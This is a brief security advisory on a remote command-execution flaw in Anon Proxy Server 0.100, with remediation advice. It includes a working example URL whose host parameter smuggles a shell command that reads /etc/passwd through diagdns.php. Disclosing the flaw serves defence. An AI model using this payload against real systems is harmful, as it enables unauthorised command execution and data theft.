Anon Proxy Server - Remote Code Execution
By Michael Brooks
Vulnerability type: Multiple Remote System commands execution.
Software: Anon Proxy Server
Home page:http://sourceforge.net/projects/anonproxyserver/
Affects version: 0.100
Example exploit:
http://127.0.0.1/anon_proxy_server_0.100/diagdns.php?host=google.com%5C%27+%26%26+cat+%2Fetc%2Fpasswd+%23
A virtually identical flaw exists in diagconnect.php however it takes longer to
execute.
Anon Proxy Server forces magic_quotes_gpc=on, However magic_quotes_gpc does
not protect the system() function from taint. For protection you should use
the escapeshellarg() function. Removing diagdns.php and diagconnect.php is the
best temporary solution. Also magic_quotes_gpc is being removed in php6, so
Anon Proxy Server will have to revamp there security.
